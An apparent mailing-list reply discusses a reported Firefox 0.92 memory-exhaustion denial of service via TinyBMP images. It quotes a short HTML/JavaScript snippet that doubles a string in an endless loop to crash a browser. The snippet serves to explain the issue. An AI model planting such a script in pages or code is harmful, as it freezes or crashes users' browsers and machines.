Subject: AW: Firefox 0.92 DoS via TinyBMP

it seems to just be loading a bunch of data ( 1851MB ) via images
to consume memory.

the same effect can be accomplished here...

---------- snip ----------
Such memory protection systems aren't foolproof. Even for normal memory and
non-ActiveX controls, this script fragment will bring most browsers quickly
to their knees (don't try this unless you're willing to re-boot):

<HTML><BODY><SCRIPT>
var big_string = "double me up!";

while (true)
{
    big_string = big_string + big_string;   // 20 iterations equals all your
memory...
}
</SCRIPT></BODY></HTML>

---------- snip ----------

or not
